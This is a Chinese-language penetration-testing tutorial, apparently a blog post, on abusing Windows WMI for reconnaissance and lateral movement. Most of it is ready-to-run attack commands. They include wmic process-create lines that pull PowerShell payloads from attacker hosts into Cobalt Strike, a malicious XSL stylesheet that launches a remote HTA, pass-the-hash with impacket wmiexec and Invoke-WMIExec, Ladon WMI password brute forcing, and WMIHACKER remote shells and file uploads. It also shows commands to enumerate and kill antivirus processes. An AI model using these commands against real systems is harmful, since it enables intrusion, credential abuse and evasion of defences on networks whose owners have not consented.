WMI利用(横向移动)

讲在前面:

上一篇文章我们简单的解释了什么是WMI,WMI做什么,为什么使用WMI。本文是笔者在阅读国内部分的解释WMI横向移动的文章后写下的一篇文章,希望帮助同学们在攻防中进入横向移动后根据实际场景利用WMI来解决问题。在横向移动中的固定过程中一定离不开“信息收集”,然后分析信息根据实际场景(工作组或者域)来进行横向移动,至于使用什么工具,为什么使用这个工具,笔者使用WMI的意见。所以本文分为三个段落,信息收集、横向移动、部分意见。
信息收集

信息收集

注意:信息收集需要根据实际场景来进行收集,而不是说笔者罗列的就是必须要做,WMI可以做的信息收集操作远不至笔者罗列的如此,希望同学能够举一反三,自由搭配,参考微软官方文档,根据实际情况获取所需。

注意:wmic命令需要本地管理员或域管理员才可以进行正常使用,普通权限用户若想要使用wmi,可以修改普通用户的ACL,不过修改用户的ACL也需要管理员权限,这里笔者单独罗列小结:普通用户使用wmic。以下命令均在2008R2、2012R2、2016上进行测试,部分命令在虚拟机中测试不行,例如查询杀软。

使用WMIC管理wmi

wmic logon list brief #登录⽤户
wmic ntdomain list brief #域控机器
wmic useraccount list brief #⽤户列表
wmic share get name,path #查看系统共享
wmic service list brief |more #服务列表
wmic startup list full #识别开机启动的程序,包括路径
wmic fsdir "c:\\test" call delete #删除C盘下的test目录
wmic nteventlog get path,filename,writeable #查看系统中开启的⽇志
wmic nicconfig get ipaddress,macaddress #查看系统中⽹卡的IP地址和MAC地址
wmic qfe get description,installedOn #使⽤wmic识别安装到系统中的补丁情况
wmic product get name,version #查看系统中安装的软件以及版本,2008R2上执行后无反应。
wmic useraccount where "name='%UserName%'" call rename newUserName #更改当前用户名
wmic useraccount where "name='Administrator'" call Rename admin #更改指定用户名
wmic bios list full | findstr /i "vmware" #查看当前系统是否是VMWARE,可以按照实际情况进行筛选
wmic desktop get screensaversecure,screensavertimeout #查看当前系统是否有屏保保护,延迟是多少
wmic process where name="vmtoolsd.exe" get executablepath #获取指定进程可执行文件的路径
wmic environment where "name='temp'" get UserName,VariableValue #获取temp环境变量###查询当前主机的杀毒软件
wmic process where "name like '%forti%'" get name
wmic process where name="FortiTray.exe" call terminate
wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState,pathToSignedProductExe
wmic /namespace:\\root\securitycenter2 path antispywareproduct GET displayName,productState, pathToSignedProductExe & wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState, pathToSignedProductExe
wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
######查询windows机器版本和服务位数和.net版本
wmic os get caption
wmic os get osarchitecture
wmic OS get Caption,CSDVersion,OSArchitecture,Version
wmic product where "Name like 'Microsoft .Net%'" get Name, Version
######查询本机所有盘符
wmic logicaldisk list brief
wmic logicaldisk get description,name,size,freespace /value
######卸载和重新安装程序
wmic product where "name like '%Office%'" get name
wmic product where name="Office" call uninstall
###### 查看某个进程的详细信息 (路径,命令⾏参数等)
wmic process where name="chrome.exe" list full
wmic process where name="frp.exe" get executablepath,name,ProcessId   进程路径
wmic process where caption="frp.exe" get caption,commandline /value
###### 更改PATH环境变量值,新增c:\whoami
wmic environment where "name='path' and username='<system>'" set VariableValue="%path%;c:\whoami
###### 查看某个进程的详细信息-PID
wmic process list brief
tasklist /SVC | findstr frp.exe
wmic process where ProcessId=3604 get ParentProcessId,commandline,processid,executablepath,name,CreationClassName,CreationDate
###### 终⽌⼀个进程
wmic process where name ="xshell.exe" call terminate
ntsd -c q -p 进程的PID
taskkill -im pid
######获取电脑产品编号和型号信息
wmic baseboard get Product,SerialNumber
wmic bios get serialnumber
######安装软件
wmic product get name,version
wmic product list brief

使用Powershell操作wmi

Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_Share  #共享
Get-WmiObject -Namespace ROOT\CIMV2 -Class CIM_DataFile #⽂件/⽬录列表
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_Volume #磁盘卷列表
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_Process #当前进程
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_Service #列举服务
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_NtLogEvent #⽇志
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_LoggedOnUser #登陆账户
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_QuickFixEngineering #补丁
Get-WmiObject -Namespace root\SecurityCenter2 -Class AntiVirusProduct #杀毒软件###操作系统相关信息
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_OperatingSystem
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_ComputerSystem
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_BIOS
######注册表操作
Get-WmiObject -Namespace ROOT\DEFAULT -Class StdRegProv
Push-Location HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Get-ItemProperty OptionalComponents

横向移动

注意:分析完信息后,根据已掌握的信息开始横向移动,无论您作何考虑,都需要利用到工具来进行操作,工具可以帮助您无需理解或多或少的知识,您只需读懂README即可,来帮助您获取shell,上传,下载,创建服务等操作,笔者会在此段中罗列部分WMI的工具以及部分命令用作横向移动,并在第三段给出部分实际利用的意见。

wmic调用cmd

注意:以下命令需要管理员权限。

###向指定IP执行cmd命令
wmic /node:10.10.0.10 /user:administrator /password:win@123 process call create "cmd.exe /c ipconfig >c:\ip.txt"


wmic上线CS

注意:请注意powershell对于特殊字符的转义,例如“,@,#,$等等。

  • Scripted Web Delivery
wmic /NODE:192.168.8.180 /user:"administrator" /password:"win@123" PROCESS call create "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://xx.xx.xx.xx:8881/a'))\""

选择攻击模块

设置C2的Host以及监听器

在客户机上执行wmic命令,让指定的主机上线CS

  • payload generator

注意:测试下载时,可以自行使用Python开启WEB共享服务。

wmic /NODE:192.168.8.179 /user:"administrator" /password:"Aatest" PROCESS call create "powershell -nop -exec bypass -c \"IEX(New-Object Net.WebClient).DownloadString('http://192.168.8.191:8000/payload.ps1');\""

选择攻击模块

设置监听器,并选择Powershell作为载荷

在客户机上执行wmic命令,让指定机器上线CS

  • xsl
     如下为普通的xsl恶意文件,我们可以在下例中修改Run()中的Payload,本地运行恶意程序或者远程使用Powershell亦或者其他下载命令等等,我们可以自行搭配。
<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/><ms:script implements-prefix="user" language="JScript"><![CDATA[var r = new ActiveXObject("WScript.Shell").Run("mshta.exe http://192.168.8.179.hta");]]> </ms:script>
</stylesheet>

生成hta文件

生成hta文件以powershell执行

###执行下载命令
wmic os get /FORMAT:"http://xx.xxx.xxx.xxx:8000/xsl.xsl"

执行命令
C2服务器成功上线

注意MSF同样可以实现此操

use exploit/windows/misc/hta_server

impacket-wmiexec.py

注意:请按照实际情况选择wmiexec.py的参数。

"注意:根据impacket的版本不同,依赖的python版本也不同,这里笔者使用最新版本impacket,依赖python3。"
"注意:遇到特殊字符使用\进行转移,例如123@456,转义后:123\@456"
python3 wmiexec.py  用户名:密码@目标IP
python3 wmiexec.py  域名/用户名:密码@目标IP    #哈希传递获得shell
python3 wmiexec.py  域名/用户名:密码@目标IP    "ipconfig"   #执行命令
python3 wmiexec.py -hashes LM Hash:NT Hash 域名/用户名@目标IP    #哈希传递获得shell
python3 wmiexec.py -hashes LM Hash:NT Hash 域名/用户名@目标IP "ipconfig"   #执行命令

使用账号密码远程工作组机器

使用账号密码远程域机器

使用hash远程工作组机器

使用hash远程域机器

注意:wmiexec 使⽤445端⼝传回显。

impacket-wmiexe.exe

wmiexec.exe test1.com/win16:win16@10.10.0.10 -dc-ip 10.10.0.10

使用账号密码远程域机器

Ladon

模块功能 目标端口 目标系统 使用教程
WMI爆破 135 Windows 教程
WMI-NtlmHash爆破 135 Windows 教程
WmiExec 135 Windows 只需要135端口通过注册表回显,不依赖445、Powershell
WmiExec2 135 Windows 只需135端口通过注册表回显,但依赖Powershell

WMI爆破(135端口)

注意:请提前在ladon.exe目录下准备好user.txt和pass.txt。

ladon.exe 192.168.8.192/24 WmiScan

WMI-NtlmHash爆破(135端口)

ladon.exe  192.168.8.192 WmiHashScan

WmiExec

ladon.exe wmiexec 192.168.8.192 Administrator win@123 cmd whoami

Ladon wmiexec成功执行命令

WmiExec2

###在工作组尝试执行命令
ladon.exe wmiexec2 192.168.8.192 Administrator win@123 cmd whoami
###在域内尝试执行命令
ladon.exe wmiexec2 10.10.0.10 test1\Administrator win@123 cmd whoami

Ladon wmiexec2成功在工作组执行命令

Ladon wmiexec2成功在域内执行命令

WMIcmd

注意:WMIcmd需要.NET4.5.2的支持。

WMIcmd.exe -h IP -d hostname -u localadmin -p theirpassword -c "command"

WMIcmd.exe在工作组上使用

WMIcmd.exe -h IP -d domain -u domainadmin -p theirpassword -c "command"

WMIcmd.exe在域内使用

pth-wmic

注意:此为kali内置工具,只能执行一些WMI命令,无法执行其他命令

###查询指定主机的用户列表select Name from Win32_UserAccount###
pth-wmic -U pig/Administrator%00000000000000000000000000000000:c56ade0c054ba703d9f56e302224bbb3 //192.168.8.181 "select Name from Win32_UserAccount"

使用pth-wmic来远程管理指定主机的WMI

WMIHACKER

注意:wmihacker.vbs是在wmiexec.vbs基础上进行改进并优化的,新增了上传下载功能,其所需管理员权限。

###命令执行后显示结果
cscript WMIHACKER_0.6.vbs /cmd 172.16.94.187 administrator "Password!" "systeminfo" 1
###命令执行后不显示任何结果
cscript WMIHACKER_0.6.vbs /cmd 172.16.94.187 administrator "Password!" "systeminfo > c:\1.txt" 0
###获取交互式shell
cscript WMIHACKER_0.6.vbs /shell 172.16.94.187 administrator "Password!"
###文件上传:将本地calc.exe复制到远程主机c:\calc.exe
cscript wmihacker_0.6.vbs /upload 172.16.94.187 administrator "Password!" "c:\windows\system32\calc.exe" "c:\calc"
###文件下载:将远程主机calc.exe下载到本地c:\calc.exe
cscript wmihacker_0.6.vbs /download 172.16.94.187 administrator "Password!" "c:\calc" "c:\windows\system32\calc.exe"
#获取半交互式shell
cscript.exe wmihacker.vbs /shell 192.168.8.179 Administrator "win@123"

工作组内获取半交互式shell

#获取半交互式shell
cscript.exe wmihacker.vbs /shell 10.10.0.10 win16 "win16"

域内获取半交互式shell

#将本地calc.exe复制到远程主机c:\calc.exe
cscript wmihacker_0.6.vbs /upload 192.168.8.179 administrator "win@123" "c:\windows\system32\calc.exe" "c:\calc"

工作组内进行文件上传

上传成功

Invoke-WMIMethod

注意:该模块为Powershell内置模块,以下为示例,可以自由组合命令进行测试。示例在Windows2008R2、Windows2012R2、Windows2016均测试成功。

$User            #目标系统用户名
$Password        #目标系统密码
$Cred            #账号密码整合,导入Credential
Invoke-WMIMethod #远程运行指定程序
#####---------------------------#####$User = "WIN-D5IP32RU4A9\administrator"
$Password= ConvertTo-SecureString -String "win@123" -AsPlainText -Force
$Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User , $Password
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "calc.exe" -ComputerName "192.168.8.179" -Credential $Cred

执行Powershell命令,成功创建运行cmd.exe,进程号为3192

3192进程对应的cmd.exe

Invoke-WmiCommand

注意:Invoke-WmiCommand.ps1为PowerSploit内置利用脚本,以下示例在Windows2008R2、Windows2012R2、Windows2016均测试成功。

IEX....               #下载脚本并导入系统
$User                 #目标系统用户名
$Password             #目标系统密码
$Cred                 #账号密码整合,导入Credential
$Remote               #远程运行指定命令或程序
$Remote.PayloadOutput #将执行结果输出到屏幕上
#####---------------------------#####IEX(New-Object Net.Webclient).DownloadString('http://192.168.8.190:8000/Invoke-WmiCommand.ps1')
$User = "WIN-D5IP32RU4A9\administrator"
$Password = ConvertTo-SecureString -String "win@123" -AsPlainText -Force
$Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password
$Remote = Invoke-WmiCommand -Payload {whoami} -Credential $Cred -ComputerName 192.168.8.179
$Remote.PayloadOutput

执行成功,whoami的命令得到回显

Invoke-WMIExec.ps1

Invoke-WMIExec -Target 192.168.0.110  -Username Administrator -Hash 3edc68a5debd735545ddf69fb3c224a8 -Command "cmd /c ipconfig >>c:\ipconfig.txt" -Verbose

在工作组中内执行该PS1脚本

Invoke-WMIExec -Target 10.10.0.10 -Domain test1.com -Username Administrator -Hash 3edc68a5debd735545ddf69fb3c224a8 -Command "cmd /c ipconfig >>c:\ipconfig.txt" -VerboseSharp-WMIExec

在域内执行该PS1脚本

WmiSploit

  • Enter-WmiShell(建立交互式shell)
Enter-WmiShell -ComputerName WIN-D5IP32RU4A9 -UserName Administrator

输入指定帐户凭据

利用Enter-WmiShell模块获取工作组交互式shell

利用Enter-WmiShell模块获取域内交互式shell

  • Invoke-WmiCommand(执行命令)
Invoke-WmiCommand -ComputerName WIN-D5IP32RU4A9 -ScriptBlock {tasklist}

WMImplant

注意:WMimplant 的功能一旦执行就可以在主菜单中找到。它可以执行文件传输操作、横向移动和主机侦察。 CHANGE_USER命令做存储凭据使用。它有一个 shell 功能,可以使用 command_exec 触发,文件操作也可以远程执行。

使用CHANGE_USER后执行命令

使用shell执行命令

文件操作

WinRM

注意:Windows默认WinRM需要设置信任来源地址,在测试前,请设置信任所有来源地址,也就是允许被任意主机连接。

winrm set winrm/config/client @{TrustedHosts="*"}

允许被任意主机连接

winrm invoke Create wmicimv2/win32_process @{CommandLine="calc.exe"}

在本地弹出计算器

winrm invoke Create wmicimv2/win32_process @{CommandLine="calc.exe"} -r:
https://192.168.8.192:5985-u:administrator -p:win@123

远程静默启动进程

部分意见

笔者上述罗列的部分工具原理都是一样,在实现的方法上各有千秋,建议各位同学根据实际场景需要针对性的DIY来满足自己的需求,解决问题,笔者建议ladon的爆破工具,wmic信息收集、以及WinRM需要留意。希望在实际攻防中,根据自身经验优先选择现有工具进行操作,如若没有趁手的,则可以自己使用.net或者VBS来进行开发。

本文参考文章

  • 内网横移之WinRM
  • 内网渗透|基于WMI的横向移动
  • WmiScan 135端口智能密码/WMI密码爆破
  • WinRM的横向移动详解
  • WMI横向移动
  • 不需要 Win32_Process – 扩展 WMI 横向运动

WMI利用(横向移动)相关推荐

  1. WMI利用(权限维持)

    讲在前面: 在简单了解了WMI后,我们开始了横向移动,包括其中的信息收集,工具利用.那么在我们短暂的获取权限后,如何才能将权限持久化,也就是所说的权限维持住呢?笔者看了国内外部分文章后,发现WMI做权 ...

  2. WMI(windows management instrumentation)利用思路简介

    WMI利用思路简介 概述 windosw管理工具,windows98以后的操作系统都支持WMI, 用于提供共同的界面和对象模式以便访问有关操作系统.设备.应用程序和服务的管理信息.如果此服务被终止,多 ...

  3. 内网渗透测试:内网横向移动基础总结

    内网渗透测试:内网横向移动基础总结 横向移动 在内网渗透中,当攻击者获取到内网某台机器的控制权后,会以被攻陷的主机为跳板,通过收集域内凭证等各种方法,访问域内其他机器,进一步扩大资产范围.通过此类手段 ...

  4. 内网环境下的横向移动总结

    前言 在内网渗透中,当攻击者获取到内网某台机器的控制权后,会以被攻陷的主机为跳板,通过收集域内凭证等各种方法,访问域内其他机器,进一步扩大资产范围.通过此类手段,攻击者最终可能获得域控制器的访问权限, ...

  5. 内网渗透-内网环境下的横向移动总结

    内网环境下的横向移动总结 文章目录 内网环境下的横向移动总结 前言 横向移动威胁 威胁密码安全 威胁主机安全 威胁信息安全 横向移动威胁的特点 利用psexec 利用psexec.exe工具 msf中 ...

  6. 第5章域内横向移动分析及防御

    目录 第5章域内横向移动分析及防御 5.1 常用Windows远程连接和相关命令 5.1.1 IPC 5.1.2使用Windows自带的工具获取远程主机信息 5.1.3计划任务 5.2Windows系 ...

  7. 内网渗透测试理论学习之第四篇内网渗透域的横向移动

    文章目录 一.IPC 二.HashDump 三.PTH 四.PTT 五.PsExec 六.WMI 七.DCOM 八.SPN 九.Exchange 在内网中,从一台主机移动到另外一台主机,可以采取的方式 ...

  8. 【内网安全】横向移动域控提权NetLogonADCSPACKDC永恒之蓝

    文章目录 章节点 横向移动-系统漏洞-CVE-2017-0146(永恒之蓝) 影响版本 插件检测-横向移动 CS联动MSF-检测&利用 横向移动-域控提权-CVE-2014-6324 横向移动 ...

  9. [VulnStack] ATTCK实战系列—红队实战(二)

    文章目录 0x00 环境搭建 0x01 信息收集 端口探测 目录扫描 0x02 漏洞利用 0x03 内网收集 主机信息搜集 域信息收集 内网漏洞扫描 0x04 横向渗透 MS17-010 PsExec ...

最新文章

  1. 强烈推荐10个新媒体运营必备工具,极大提高工作效率
  2. 免费报名丨网易、腾讯、唯品会等100位名企超资深营销增长官,约你闭门“搞事情”...
  3. 前端学习(2649):vue3.0的处理展示
  4. 在浏览器里友好的变量输出查看函数方法
  5. Android O HIDL的使用例子 -- 蓝牙HCI 服务进程
  6. 主成分分析R语言实现
  7. python机器学习实例
  8. java的第一行代码
  9. 为什么打印机打印照片模糊_我用打印机打印照片为什么不清楚?应该怎样调 – 手机爱问...
  10. 2017 Top 10 Web 应用安全威胁,你的企业正在经历哪些?
  11. 浏览器-错误 未能加载 PDF 文档
  12. 微服务 | Martin Fowler
  13. linux系统的版本(转载)
  14. HTML04-form表单
  15. 苹果手机代理charles(此链接非私人连接)
  16. Oracle 12CR2查询转换之星型转换
  17. RTX 报错(应用SDK服务器:超出支持的最大应用数目)解决办法
  18. 华电源建筑能耗分析软件
  19. ARM体系结构(1)- 工作模式与工作状态
  20. 聚类分析(二)k-means及matlab程序

热门文章

  1. 伴印错题打印机使用测评|伴印Ai学习打印机,一款专注学生错题整理的学习机
  2. 渠道流量价值评估的思路
  3. 磁盘存储器(传输速率,磁盘容量,转速求法)
  4. 爱情名言名句爱情哲理名言爱情格言语录
  5. linux查看zookeeper版本
  6. c语言模块化编程extern的用法,关于模块化编程extern用法
  7. ARM主板开发笔记1
  8. 安卓截取视频第一帧的方法
  9. Linux怎样给线程取名字,Linux下指定线程的名字
  10. 爬取今日头条街拍图的一次教训